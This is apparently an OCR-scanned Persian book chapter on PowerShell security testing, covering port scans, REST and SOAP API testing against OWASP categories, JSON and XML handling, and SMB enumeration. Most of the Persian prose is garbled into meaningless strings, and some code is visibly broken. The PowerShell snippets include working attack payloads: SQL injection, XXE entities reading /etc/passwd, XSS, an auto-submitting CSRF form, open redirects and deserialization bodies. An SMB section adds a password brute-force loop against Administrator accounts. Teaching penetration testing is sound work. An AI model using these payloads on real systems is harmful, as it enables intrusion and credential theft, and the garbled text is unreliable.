PS C:\>ps2.ps1 -sT -i 192.168.1.1

oS oo 00lawl TCP slacsyg0 plas Sl sl (5,50 5 ey Jlie 4o

PS C:\>ps2.ps1 -sT -p (1..65535) -i 192.168.1.1

13,5 patlez oolaiwl UDP zly oy Voo Sl ol Il cnl 5l e ecoles po

PS C:\>ps2.ps1 -sU -i 192.168.1.1
Skt ;0 1, TCP/UDP &g yScsl (6l 3ol ja3 g ool sl 5l olow] oUlgs PowerShell casds sl
3,5 sl cog Sl S g 00505 solaiwl liemdlet 1 ol o 5S> 4T wlesls lis L aes o 3 L
S5 o b asslese 0B 1 Lo oIyl cpl osS eolaiwl (NET wilgs 51wl o PowerShell 48> o omen

51 ool sae g Living off the Land slacSusS 51 ooliw! jghaie) muiS (Soi5 o) 50 g5 S

ol JBlas 4 oS Slastiy el s ST b aST | le Il slaws g (ol (o, sla
Summary

Dy 598 4l Sl oLyl g slelis sl PowerShell lsolarul 5,50 10 pals yoglS SO Juad oyl
2ol 5 job 4 o gy 9 LelXiws Enumeration 1, 1, PowerShell 5l solai) oS> Jad oyl

WS 0 0SB s iyl Dbl 5e Ol Sl 2B p g 4Bl Oje Sl oje 4yt fad
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Loss a3ly sLss sbagy,liw g oo slaaiges 0,5 (3yme 05dll slocs piycmm] 5 g b oy
=10 wolie (gly az alS o ) Al Sl B ot go D508 Lad 4y 9 0iS (0 n los 25 L

Enumeration ;| a8s 5,0 5 oS o Joe died))] aie SO lgie 4 Jad cpl o WS S sl ax g
S o 43l PowerShell o, aca slacc L 5l oolatul b &g Sl § a5l
oL 1, SOAP APl 4 REST (g4, 3985 cous ploul p5in ;o PowerShell ;i oolicul ogos wam Juad ;o

235 pealys>
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The WEB, REST, and SOAP — iy Juab

L L .o5ls 0 o0 SOAP APl § REST (g4, 3485 cous sll ol PowerShell ;i solil 4y Jad !

@S ool XML 5 JSON  SLi 5o, 5 (5,135 5, sl PowerShell I iy o 48> aSi] musss
sl sy j0 .axiws SOAP AP g REST L ala, o Lol sla 5,5L8 XML g JSON o 5 walss 4,50
SOAP APl 4 REST alal, ;o OWASP e 5l isw olgie a0 |, PowerShell sl solatw! o9 o g

| ool J.»AS U"‘ 39 (e y OH9e ‘;44‘ uLC}ﬁaﬂA Py

e PowerShell and the web

e Encoding JSON and XML in PowerShell
e PowerShell and REST

e PowerShell and SOAP

PowerShell and the web
Ayl 5 aewlegil 5 (0 Ko o pie gzl SO Glaie 4 Cileg ,Sle Lawgs lal a5 PowerShell
ol cusal o)l 5o cage il 4 Cewl ool baws 0,5 ded cwngi aolp L) SO s g 00l cols
Ol Gisu pl 0 S e Jad JelS sl sla b)) plel a0 (g ymle Cuisl laasine (gl

¢ oolatwl SOAP 4 REST

Web application security testing with PowerShell

Sl Casal g edd au o fad ol 10 Gy 00,5 laasl p cuiel cus g PowerShell aies 08 oS5 L
) Loty g sloasl p wlgs oo POWeErShell g aalip 08 548> a5 asS aias asS oals &l 1 Kan
3l ol 598 (el gladSis 2t b o pdycan] plulid jlais cosl Jleiol Slasags ply 5o
Sl 5 Hly Gl ol S oo o S5 Sl slaalis)l plnl Gl 2lo)lnl by ol
G381y 6 pdscam] Sl § 3585 s asile aylby o1l PowerShell 4> aS aias o oylis s
(02310 o0 dine opl ,o PowerShell slac Ll 51 5 5 a0 aalsl jo 000 o

slooSl 0,5 Sags sl e pyaly S lsie 4 PowerShell :Automated Scanning
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oSl sl PowerShell slacos Sl b 1, Nessus L Burp Suite (OWASP ZAP sils (s pds ]
QS plésl s ué g Cross-Site Scripting (XSS) SQL injection sile slas pdscww! ¢lp lacslossy
5 ok il age daSul son by g ile oi,law Sl PowerShell g o Sl slac L
S oo o2l 2 1) el iy (e

Slgiome 4525 g HTTP slacslgs o sl o PowerShell Ulys :Data Extraction and Analysis
SBAS LialojT sl diad) )l jloms kel s Jobo 5o laools Julos g 4325 5 ¢l il sl HTML
Sl oS ool leny el Jilee 225 5 Sledbl gl Seil wos Slxio oSy sl T 5 asilss oo
sles ;558 pls olulis slp leols Crawling ules slaosls (om0 10 18,5 18w, Jold ggo40
el o5l il glacs iyl (gl S Sl Tl Judoni 5 a5 b s

e sl ly5 o PowerShell slacs Sl 5l :Password Bruteforcing and Enumeration
[y oo BB L cans jgue sloge, B oms o o5l FasS iolesl a9 8,5 eoliiul 0,90 brute force
S (g0 SeST oy Lo S g 3959 St D)a3 b 4 (pl ST plulid g asliy G o
Slp 1y oblaw slaogly slwl PowerShell wogcas Sl s pdscilasl :Custom Exploitation
S3985 s Syl sl Siloge el Gialesl Jsb o ead aiS glas pdycas] Il e e
S5 o olgsds oS s> L XSS (6 el S8t els olas sl PowerShell e Sl 5 wilgs oo
A8 olul g delp

!y PowerShell 5 aslg oo cusal laascs ‘Web Application Firewall (WAF) Bypass
DS oolaul oyl 85 599 sl BYPass slaSiass 5 o s slaogly ol b e WAF _asu 51 ol

S (g0 SeS 393 28 (Glapunile Cogli o laglesle 4

il slogs L 2l o PowerShell :Authentication and Session Management Testing
lolis a4 plass gile a1y and> co pose oo sl b brute forcing ssle coga 51,

ialosl sla )55 odgs assls o PowerShell slaco, Sl :Reporting and Documentation
RSLY )150? ‘) o..\.wd.uoj.: C)Lo‘ J?‘).o 9 LﬁbuT S odadS LQLQLQJA».MMT 4.L<>.‘> )‘ ‘Lﬁi‘e‘)
00 Ailins (29> 4 3ldail CBlawl gl g b d L bl 6l L;%Le)’T bl a5 S o eyl
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REST application security testing with PowerShell

,0 a8 kel PowerShell Ly slacobls sl osliw! b 043 REST (sladsl o ool g (sl 0 1, s ygole
RESTful sla APl sl 598 el cs g PowerShell oaog o Kol s g jo alaly Lo ¢ Juad
Shoslinl 050 )0 1y ola i lnoe ((Bly Glis lag lw 5 (dos Gl ioled b oS g0 ()
soliiul g oo 3,90 (| 10 a5 (63150 i gl co Cawd 4 Fige sl sla ob,l pll I, PowerShell
o )le el

sl APl zslosl 6l HTTP slacslss o Jls,l sl PowerShell _Ulss :API Endpoint Testing
Jloyl APE SLL Ll b Jolss sl 1 aobvcien Sl aiilgs oo o BaS ialesT el oyl s REST
5 Z 9> «895,5 sools cuswl LUl sl (DELETE PUT (POST GET) lacaulys o caliee gyl
Wil Zuga 5l glap sl

S b bs e slag lw &l o PowerShell :Authentication and Authorization Testing
223 oo 03l HEaS olejl s cpl i8S (o3le 4l REST slo AP ol j0 1) (s yiws rhaws (petd g Cuga
45 0 9 Ngdse Cupde Cush >l slajeme 5 b A dapSe b APl 48 o5 WS ey n B
A5 oo Lol 1) g yiss S35 Jilio by (6 3y ]

839,9 (xmsbiiel gl lacis o3l S0s5 sl ol o POwerShell ;1:Input Validation Testing
s o] lolid 4y ol 5,8 eolinl APL SUL Llas 4y baesls glgil 5 calises slassly Jlo,l L
A5 oo SaS ooy (6, b SAL 5,5 sl

APl culgs s cpais auly o PowerShell slacys Sl :Load and Performance Testing
5 5,195 L e REST AP 5 Slas ogu b aijle oo ,0lB |, BaisS olosl g oS (g5lwans 1) lojen
S bl 1, cwl Denial-of-Service (DoS) wMes> (6,20 5o LT 4l

SOAP application security testing with PowerShell
g 00ls )18 Jbj,lo,50 PowerShell Ly slac BB L 1) 055 SOAP al el ailes oo Juad ol o
u‘).:d..o 9 obg..o.s LS)‘QJ? 00y 69.9 LS""‘"‘A‘ Cewd g PowerShe” QS'“""J}J w).im‘ O Ls,ljsl P )| SO UAAJ‘).S‘

350 ol 50 a5 (69 190 S Jame SOAP » e sl APl 55, » Jol5 sle bl el sl 1,
51 o le dg0d colazul O‘s.?u.o
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Jolss SOAP 1 e 0y sl gy b &lg5 oo iz PowerShell :SOAP Endpoint Testing
sloaie Lislesl SOAP laceulss o Jlo)l slp 1) slacas Sl 0ilg co oS jiulosl il acsls
XML w50 ool el Sie XML & Goss 0 sols Jols sl,, SOAP XML Data Parsing

Gy aibe (sl PBluw ololis glp SOAP sleogly ¢ bagwl Jdo ¢ 4500 &ly PowerShell
el oo XXE &5bos L XML

GoS> aSiul Lisleyl &lp oly o PowerShell ;i :Authentication and Encryption Testing
Jols laobl g 05 oo ooliwl iS o Copie 1) bosls (5,138 50 9 Cuse 5>l SOAP sla g pus
g o il sl Job 4o (315 ojlil 4y eles Sledbl a5 05 o

slecwlys o WS o3 1) 550 s alg o PowerShell slac, Sl :Boundary Testing
Socans g ad 5lge 4y gy (S, 0920 b oS ol o,kaiie e b asals slosls polie L 1) SOAP
asled bl Jlea! el

sloasl sl slaces plxil pKin sl laasio slp 559,20 0l S PowerShell .o j5b 4
Gl sl b T b o LSy bl g ysmnlogil ool g iy ks Zosl SOAP o REST s
5 oS aiS 1) g pducaw! wims pll LS sla ol b ojlu e ;0B 1, BoS iolesl ¢ ol
5 el (5,90 POwerShell ;I a¥gris oolatul (b ol baims (iolpdl 1) laasl p opl cisal Comdg
L e g 03¢0 (I3 g S9iB sloesgame ;o ivlej] slaclas plos a5 040 Jool> lacebl sl o
g go plal lojlo b aeli y colo 5l canlio 5950

Encoding JSON and XML in PowerShell

5 Julov 9 43 sl PowerShell ;o XML 4 JSON slasols sliShe, 5 5,108 50, dga5 s o
asls by cpl plosl ogzu 4y dalol jo .l (9,0 b APl 5 Gy (60,15 sladal p slogwl (5,5

] 00U

Encoding JSON in PowerShell

G 50y (sl e o ooliiwl 5w g SIS s wols Jols gl &S cwl (2m) e ,d JSON
S Jlss 1y »5 Jole PowerShell s JISON & g0 4 aosls
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alss o aS 1) sleesls a5 oS ¢4,5 PowerShell i G sl L :Create a PowerShell Object
al,l L ooylew & hashtable G wilgs oo oo cpl 0l oo 455 s (6,105 50, JSON lgie 4
] Jlie SO x| o ol

Sdata = @{

Username = "ajcblyth"
PassCode = 9816 }

Ceoyd b glass, & PowerShell s Luas sl cmdlet ConvertTo-Json ;i :Encode to JSON

:0S oolawl JSON
SjsonString = Sdata | ConvertTo-Json

5 Gee b oS aslol ConvertTo-Json « |, sancdB sle l)b auls o :Optional Formatting
ales il 1) o1 5 9S JyS 1 ISON (29,5 (ain

SjsonString = Sdata | ConvertTo-Json -Depth 2 -Pretty

Decoding JSON in PowerShell

sloasl 51 ISON slaguwl b cdél 345 s 5l PowerShell ;5 JSON slaosls Decoding !,

S s g a3 | byl b a5 wgd o axlse AP L g 60,8

S 28l 0 (6,500 ae b LB HTTP canlgs 1o G 511, JSON (sleosls :Retrieve JSON Data

SjsonString = Invoke-RestMethod -Uri "https://snowcapcyber.com/
api/data" -Method GET

PowerShell _: < 4 JSON «.:, Decoding I, ConvertFrom-Json ;| :Decode JSON
q.,S oolazul
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SdecodedData = SjsonString | ConvertFrom-Json

sals Decode i ;0 54590 slaosls & PowerShell Ss - i jo aile wilys o (5251 :Access Data

sl aldls pw s

Sname = SdecodedData.Username
Sage = SdecodedData.PassCode

Encoding XML in PowerShell
5 XML glgie s leosls Encoding sly .0gi oo eolatul ool Jols gl a5 conl (5,500 < ,d XML

S JLss |y »5 J>1, PowerShell

105 oolewl XML s S5 ol 6l » New-Object ;i :Create an XML Object
Sxml = New-Object System.Xml.XmIDocument
S ol 1 la S5g g yolie 0l oo Lo 0usS 5 leesls L 1, XML o, :Add Data to XML

Sroot = Sxml.CreateElement("Person")
Sxml.AppendChild(Sroot)

Sname = Sxml.CreateElement("Username")
Sname.InnerText = "ajcblyth"
Sroot.AppendChild(Sname)

Scode = Sxml.CreateElement("PassCode")
Scode.InnerText = "9816"
Sroot.AppendChild(Sage)

10,58 oolawl ans, 4 XML aw bos sl OuterXml 554 ;1 :Convert XML to String
SxmlString = Sxml.OuterXml

Decoding XML in PowerShell

DS Lo 1y p Jole 39 cns Jobo ;o PowerShell ;o XML leools Decoding (sl »
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S b, (6,50 e b BB HTTP cuilss 0 G 51 XML (slacsls :Retrieve XML Data
SxmlString = Get-Content -Path "userdetails.xml"

oolaxwl PowerShell XML o 6 j0 XML lassls (6,135, ¢l LoadXml s ;) :Load XML

Sxml = New-Object System.Xml.XmIDocument
Sxml.LoadXml(SxmlString)

0wS gl il 5 roles XML acs 51 eosls aslgs oo jls & y90 4o :Access Data

Sname = Sxml.SelectSingleNode("//Username").InnerText
Scode = Sxml.SelectSingleNode("//PassCode").InnerText

3l oo o5 3985 s PoOwerShell ;s XML 4 JSON « L . Decoding 4 Encoding . lal.s L

oyl Jsbo o 1y osls 5 oS plulids | lags pdynml S Jlo 5 3520 | lagely iso 55k 4,
by Gl SaSS cpl il g 6005 sbeasly b WREST APl L)) ax oS (6, Sews sl
s lox] oS ks (59,5 &l MIIZALION 4 55 45 (glogilly Jlowe _oluliss 5 siaiel slo ) iS

et il T slo a5 4 5 5 ol lisalel ol e (318 Aian 35

PowerShell and REST

8,55y, s 3485 cud sl PowerShell o Representational State Transfer (REST) ;I oolax!
5155 oo 53585 and RESTFULAPI L Lolss by el g (6l g yos 5 Breal s Coial 5,1 (613 oins
S Lol w525 15 ool sges 350 oy elss Lawgs aiilgi oo a5 1) e bl ¢ g iy
ozl Ll og3 o g ajos a5 Jl> 0 345 cud sl |, PowerShell ;o REST 5l solail oz ool
sloasl p» el (gl 0oy asliss xuie S Open Web Application Security Project (OWASP)

S (o) oS (50 e 09
OWASP analysis — injection

S s REST (o API 151, 52,55 (slacs piyeneas] Objective
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i Hlge a1y ol g oS eolatul Oy (599,9 ol 51, PowerShell ;5 ols . :Methodology

0S )55 32,5 b NOSQL 32,5 SQAL 32,5 wiile 32,55 sl ] Gtalel sl culsz o S,
ol 1y 53 SAL &, 5 cus b Jlie lgie a5 0S|

Suri = "https://api.snowcapcyber.com/resource"

SqueryParam = "inputValue' OR '1'="1"

Sresponse = Invoke-RestMethod -Uri "Suri?param=SqueryParam" -Method
GET

OWASP analysis — broken authentication
S 2U, REST AP o 1) ad> o pae g Cuge 5l,>1 :Objective

lagewl Judos g 4525 g Cuga 5>l slaclys o Jls )l sl PowerShell ;1 ols . :Methodology

w1 g oiebes] Gins el aul (b olsie 4y aS ool

Suri = "https:// api.snowcapcyber.com/authenticate"

Sheaders = @{

"Authorization" = "Basic <base64EncodedCredentials>" }

Sresponse = Invoke-RestMethod -Uri Suri -Method GET -Headers Sheaders

OWASP analysis — sensitive data exposure
e b 65 e )18 s oy ;0 APL lazul o ules sleesls LT as" oS L5, :Objective
2 58,5 18 ol lagwl Jud= g 4y 5 lacwlss o syl sl PowerShell ;I :Methodology

s 555 50,5 yld gl phaie Ol )l 5l quiles oo a5 Gl [S°3 45 o3V LasS solswl aulgs b slrosls (o a0
lazewl 5o (g el &Ll o,lais b youe 30, diile (awlu Sledbl LT aS asS cwy e Jlio (5l oS o0liiies]

ez b o ylo 09>

Suri = "https:// api.snowcapcyber.com/resource"
Sresponse = Invoke-RestMethod -Uri Suri -Method GET

OWASP analysis — XML External Entities (XXE)

S s RESTFUL gla API o 1, XXE asslo XML L Lo o slas piynw :Objective
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Juds g 4525 9 APl b O 30 XML slaosls Loyl sl o5 o POwerShell ;1 :Methodology
02,0 XXE sl 1) 55 Gralesl Lo Jlie laie 4y 0,5 oolatul lagewls
Suri = "https://api.snowcapcyber.com/resource"
SxmlPayload = '<?xml version="1.0" encoding="UTF-8" ?><IDOCTYPE foo [
<IENTITY xxe SYSTEM "file:///etc/passwd"> |><foo>&xxe;</foo>'
Sheaders = @{
"Content-Type" = "application/xml" }

Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SxmlPayload

OWASP analysis — broken access control
4575 g A0S oolaiwl jemme aliBee gl b olacwlss o Jlo,l sl PowerShell ;| :Methodology
Jlie Glgie 4y .y b asdl alils g s dgaome molie 4y aillel oo jloee e )l IS LT as oS Sl g

Suri = "https://api.snowcapcyber.com/restricted-resource"
Sheaders = @{
"Authorization" = "Bearer <accessToken>" }
Sresponse = Invoke-RestMethod -Uri Suri -Method GET -Headers Sheaders

OWASP analysis — security misconfiguration

DS sl | APL o el s yol sun S :Objective

sleailas gy laguwl Judow g 4525 9 lacalss o o)l slp o155 o PowerShell ;1 :Methodology
0,5 oolitl 58 st sboasli el L ,ISsT Debug wledlbl asle ool gom Sy

Suri = "https://api.snowcapcyber.com/debug-info"
Sresponse = Invoke-RestMethod -Uri Suri -Method GET

OWASP analysis — Cross-Site Scripting (XSS)

A4S Zens REST API (glagasly 45 1, XSS (slas yiyns] :Objective
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SS oolaiwl Canlgs o j8 oyl Jlo,l g o5 saogls sl! sl PowerShell ;1 :Methodology
@ 08 s g 4o | legwl Stored L Reflected g4 51 XSS (s pdscan! 455 12 olulis sy
S Lislesl 1y Reflected g4 51 XSS alys o o Jlie lgie

Suri = "https://api.example.com/search"
SsearchQuery = '<script>alert("XSS");</script>'
Sresponse = Invoke-RestMethod -Uri "Suri?g=SsearchQuery" -Method GET

OWASP analysis — Cross-Site Request Forgery (CSRF)

WSS L_g.’L’.})‘ CSRF LSL“LS):’.A%W*’T Lg|).g ‘) API :Objective

l, o1, g oS ol! PowerShell ;o CSRF slasslo L1, o506 HTML wlxas :Methodology
325 1 APl lagenly CSRF Sdlos 090 el Caidgn (punnd (5l ol azils Lol by b b agms oy 3

S 4z ) Jle 4y 250 kS

Shtml = @"
<html>
<body>
<form id="maliciousForm" action="https://api.snowcapcyber.com/
action" method="POST">
<input type="hidden" name="csrfToken" value="attackerToken">
</form>
<script>
document.getElementByld("maliciousForm").submit();
</script>
</body>
</html>
'@

OWASP analysis — unvalidated redirects and forwards
QS GiolesT 1 AP jo el (sloo,lg 98 ¢ Lo o x5 :0bjective

3,l5,98 b yuwo o5 sLURL b slacwlys s Jlo)l sl PowerShell ;I :Methodology
Laes oo ly yimel pe yss o5l APL LT a8 0sS Lo g a 558 g 0w oolatul e (5,

RIS WLQ)T);)JS.HAJBMB 6MMMM|9;GA Jie lgxe 4Ly
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Suri = "https://api.snowcapcyber.com/redirect?url=http://malicious.
com"
Sresponse = Invoke-RestMethod -Uri Suri -Method GET

OWASP analysis — insecure deserialization

S bl APL s 1 Insecure Deserialization slas pdeo! :Objective

9 oS oolatwl o e Serialized cLil b lacwslgs o o)l sl PowerShell ;I :Methodology
DS 4y ) Jle 4.3 b ouS Deserialization 1) byl oS o (55 AP LT a5 oS o g 4050

Suri = "https://api.snowcapcyber.com/process-data"

SserializedPayload = "maliciousSerializedObject"

Sheaders = @{

"Content-Type" = "application/xml"}

Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SserializedPayload

bl sl PowerShell 4 REST 5l eslazul e da5 s sl dled yo OWASP g > yailus
b amo e ojll oS jole;l & PowerShell 3 Glasil ool (5,50 oy slodsl p Coel ol
Ol dien S o SaS 5l lael L atul g drwgy 4 Coles o &S WS Ldss g 45 Top 10
DS o JLoo 3985 slacns plxil s | ST slo Jasdlygiws g oy lo 1y a3Y slajge a5 aiS ol

PowerShell and SOAP

4 Wilgs o S985 s 1o PowerShell ,s SOAP L Simple Object Access Protocol ;i oslac!

09.?:3 LsLov..da‘) L?:.».:‘ o ] 4o )l.m.u l.b‘sj)duwi ks’LAA)Lw 6‘): 9 ‘39“&5'6 oolazw! LQML:).: Oy JoL.:J
OWASP Cg )l a0 Jdow 9 355 ool Qg (s 50 3985 s 51, POowerShell ,o SOAP  solas!

w‘ o 00)31
OWASP analysis — injection
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SialesT sl |, SOAP slassly ailys oo 550 slaJSi 10 &5 le Uikl wuls :Methodology
G lp ly e (Jle lyie 0S5 Sws 8,5 sl pdycan] plo L XML @&, SQAL G )55
S GieleyT 1y 5 a8 SOAP calgs 0 6,0 SQL

Suri = "https://api.snowcapcyber.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope xmlins:soapenv="http://schemas.xmlsoap.org/soap/
envelope/" xmins:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:Login>
<web:username>' OR '1'='1</web:username>
<web:password>password</web:password>
</web:Login>
</soapenv:Body>
</soapenv:Envelope>
'@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"
}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SsoapPayload

OWASP analysis — XXE

A4S s SOAP (glasly 1o 1, XXE (slas pivens! :Objective

oialesl Gl 1) XML G5 slaogls ausly o REST o XXE bl wliw :Methodology
0S8 Liale] SOAP cnlgs 1o G jo 1) XXE 0ulys oo (Jln lore 4 .08 olou | XXE (sla s pids ]

Suri = "http s://api.snowcap cyber.com/soap-endpoint"
SsoapPayload = @"
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<soapenv:Envelope xmins:soapenv="htt p://schemas.xml soap.org/soap/
envelope/" xmlns:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:ProcessXML>
<web:xmlinput><![CDATA[<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
"fil e:///etc/passwd"> |><foo>&xxe;</foo>]]></web:xmlinput>
</web:ProcessXML>
</soapenv:Body>
</soapenv:Envelope>
"@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"
}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SsoapPayload

OWASP analysis — authentication bypass

SOAP ;e slomag s o Cass 5ol slopamsilSe b, Objective
395 590 B picamwl Wogn 1>l Calisee slag lw L SOAP slacwlys o sl ! L :Methodology

S Gabosl 1) s Cosn 5t ailes o (Jlie loie ar aS ialejT ]y Casa 5l o]

Suri = "https://example.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope xmlins:soapenv="http://schemas.xmlsoap.org/soap/
envelope/" xmIns:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:Login>
<web:username>admin</web:username>
<web:password>password123</web:password>
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</web:Login>

</soapenv:Body>
</soapenv:Envelope>
'@
Sheaders = @{

"Content-Type" = "text/xml; charset=utf-8"
}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SsoapPayload

OWASP analysis — insecure deserialization
S Lisle;1 SOAP slasls ,o 1, Insecure Deserialization slas pdscol :Objective

o i opl yo 508 sleais; o Insecure Deserialization s, iob;! alin :Methodology

Gl ailss oo Lo« Jlie lsie a4y 20,8 ol bagg sl ialesT sl |y SOAP ©5e slassly
S iolesl 1y 5 a8 SOAP cslgs 0 6 o Insecure Deserialization

Suri = "https://example.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmins:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:ProcessData>
<web:data><![CDATA[O:8:"Example":1:{s:4:"data";s:10:"malicious";}]]></web:d
ata>
</web:ProcessData>
</soapenv:Body>
</soapenv:Envelope>

Il@
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Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"
}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SsoapPayload

OWASP analysis — unvalidated redirects and forwards

J....S u,o.uLo)T SOAP 5 ‘5......0 LnggJ”'lﬂ)""’ )o ).u.a.oLi LgLQé)‘j)gé 9 LQ)M ).....u 61).3 :Objective
5 0355 9 oS obul s (6,8wd s ons o URL L 1, SOAP slaculss o :Methodology

ﬁmﬁdlﬁag!gsa‘kjmdlycg.ﬁ}lg...uw‘_gal)ﬁz_ubomgibmo}l.?lwﬁﬂwluﬁw&m

S GioleyT 1y 15 a8 SOAP coulgs jo O yo piaals (slo o

Suri = "https://example.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/
envelope/" xmIns:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:Redirect>
<web:url>https://malicious.com</web:url>
</web:Redirect>
</soapenv:Body>
</soapenv:Envelope>
'@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"
}

Sresponse = Invoke-R

yob 0l co dgi5 cud Job 0 PowerShell ;s SOAP ;I soliiwl gl b giglgaie ol 5l solial L
OWASP gz )z Lt g slocs iyl 5 08 (2l ) o APL 5 b gy g ol g

S92l 5 IS (slaeall s 31 (S5m0 comlin sy il 5l atran aS Slubia |,
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a1y o lolid slacs iyl 13T el 3 osdle S ol ligolol 39i5 (slacens plasl olSia o3
S Sl e el sl Joree slad )b

Summary

by 1y XML 5 JSON sla sl o PowerShell js leosls (5,l3505 ogou b ol cacds job 4
sinlesl 61y OWASP Cg> 1> o PowerShell 51 ol oo 4565 a5 aools i el ab s 035 o0

3,5 oolaiwl SOAP 4 REST sl» API

ol S 59y p mols de85 Cod S 3l sidu Glgie 4 ) PowerShell ;| solizw! o9 o gom Jad o
255 meols> (o) 2 (LDAP) (55 S (6,635 21> (o S35 5 (AD) (5,925 21 2251 (SMB) 5 500
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SMB, Active Directory, LDAP and Kerberos — picl Jad

Active SMB (g5, sol> 3985 s 5l sise olaie 4 |, PowerShell ;| soliiwl o9z o Jad cpl jo

L 5,5 s2ly o, Lightweight Directory Access Protocol (LDAP) 4 Directory (AD)
o}'ﬂLg LgLang);..\.»wT ‘:LMLMJ 9 J.olf w‘ 6L°L;’li})‘ [oL'ng‘ L;‘;g |) PowerShell M)AS LgLQ;'u.Lilﬁ
255 meols> (o) Slojle laased Sb> sl cnl )

g bl 51 los i il «dlng ,Solo Jawgs ail drwgd cmag aslip b S olyie 4 PowerShell
Lo g s c 3 pos 1 51, POWErShell 51 g5 oo a3g> a5 ol pulys yLis coals )5 sla Jlin 5l (slas gormo
2,5 oolaiwl i (ol jo cans blas 51 (6,00 0 40 9

Uiyl sl PowerShell I ol o 455> 4 ols peplys lis a5 ol wed oo 5T SMB L L o
65 210 58T 4 e 20,5 oolatnl s jgue sloge, ool g eals Share sl olulis SMB
sbol> slulis (65 Clus Codal (G uan yo 1) PowerShell Sl a5 ol> (g oo Jaio
w0 oo paled 4 (295 lacugas bl g (Jled e

5 Zagn >l Liale;l LDAP slajeme b, sl 1, PowerShell sl oslacul 565> LDAP & 35, L
@ a5 o wles ol en Joe sl Jlo b le LiglS 5l al> e 2 0,8 pusly> ) LDAP Lol 0 ol
DS ookl 093 el sl obsyl 4o Jae jeb 4 LSIST ol I L aes co |y Gl ol Lo

G al30ly5 50 anedyyl 6,0l Wlg o PowerShell e8> asul 51 sl Sy (Jad ol LL o
LU oS o e oblhe g il a |y Ll Lad ol clls ales il sl laasie ¢ o $34i

Spdllasl Colys ;o 5 oS byl 1) cusel Glagan,Su S slobs |) b picaw] Jbd job
UV 1) w‘)_‘ﬂ Ql.’l.il.zbdl,o)‘b 3 |) LDAP 9 AD SMB LgL(bLg)'L»ooL:.;

oSl m.:alp L:aQT O Jad pl jodS Cul Slegoge Q%)';‘_;.,ol ) Slegdge

e PowerShell and SMB
° PowerShell, AD, and LDAP
) PowerShell and Kerberos
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PowerShell and SMB

wlolis SMB 1y o cicel cus S plil sl 1, PowerShell sl solaisl 5o« idu ol 5o
25 ey )y A (885 s sk 5 o pdyn]

STl sl Sl Wosls ax LSS Jols 5l SMB as” Jl> j0 .08 s Jutens |y calizee molie s (o s
o pwd Jols Slplas cpl ol alls ol e 4 juo 1) sl Ol wilgd co waiid (guin Sy S0 A
el o aSll sl cusal 1 laedsl (gly il 61381 2l SMes 95 S g Wosly cuis (jlxe 8
2ibiso 55950 SMB (glagsls ool Jol5' el ol

Enumerating SMB shares

PowerShell .ol 95 of) j5m S 0 S i sl aiS SMB ol cos ool sloacs 51 SO
I, SMB la Share sas o oSl Lai 4 a5 ams o &1, 1, Get-SmbShare asle  Jl)giws

:swles Enumerate

Get-SmbShare

Share slask o,b,0 Sledlbl g oS co Cunypd |y 490 oy jgm S 40 39730 slo Share aes jgiws oyl
b)) sl SeMbl ol 5l sl oo (el GBS taloj] wiS go )] (i yiwd Glojme 5 o pane
rdcaw! cwl (Ses o Share plaS aSul s 5 Cwjob slogon Ko slobs Share sla;gxe

oS solitul sl

An SMB version assessment

Get-SmbConnection .s 5 soliiwl ;95 o, i S (59, » 1zl J= ;0 SMB aseis o) sl

s oo Hlis )] aeus alex 5l SMB &¥Llasl 0,90 4o |, SL33>
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Get-SmbConnection

AS bl S o S8 Loads 4 g o o &l oolazwl Jl> ;0 SMB ases 0,90 j0 1) ol iy jeiws ol
e b S e 03l SMB 55, 4 5 el slaasens 5l Lah aSiut L] a5

Testing for weak passwords

PowerShell ;| .ail SMB slalase j0 wpe (cwiel s S5 aile oo (2,8 i b cins sloesly, 38

e, 5l swd 3loslaiwl LSMB (5,138 Syil 4y Jlasl (gl oM b jeus 5o, (8 5men bl (sl oyle5 o
WS oo 5095 1y ol 8 cpl 5 s Sl 0,5 oolatwl Cams oo sl b gl jeue

Scomputers = Get-Content computers.txt

Spasswords = Get-Content passwords.txt

foreach (Scomputer in Scomputers) {
foreach (Spassword in Spasswords) {

Scredential = New-Object -TypeName System.Management.
Automation.PSCredential -ArgumentList ("Scomputer\Administrator",
(ConvertTo-SecureString -String Spassword -AsPlainText -Force))

try {

Invoke-Command -ComputerName Scomputer -Credential
Scredential -ScriptBlock { Get-SmbShare }

} catch {

Write-Host "Failed to connect to Scomputer with password
Spassword"

}

5 955 Jate Cened 3 Syzge allly 1o 4y Laodls,d5 5l slacgere 5l oolital b aiS o o oSl 5]
e g b s o8 i sle Credential o oo S Lads a5 g aiS oo il 1) 33500 (oD 4365 100
VLY LS,L,.,LW 1)
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SMB vulnerability scanning

ols <l PowerShell o olg o |, Invoke-SMBScanner asle ola,lnl 20,5 solaww! e

:.b; fal.éo\ XY GLQW o SMB LgL(bL;)wa]

Invoke-SMBScanner -Target 192.168.107.100-192.168.107.150

EternalBlue sl cosaislis sbvoslitwle g alax 51 SMB ml, slogs pdycaw! lp olo)lpl i
Qoo o &l ogall Sl plas o)l ola iy g 9S o Sl SMBGhost L

Assessing SMB signing and encryption

PowerShell .ceul pgo jlows laools 045 dilo e g S LSS 5 lcabol 51y (6,135 50, s SMIB Signing
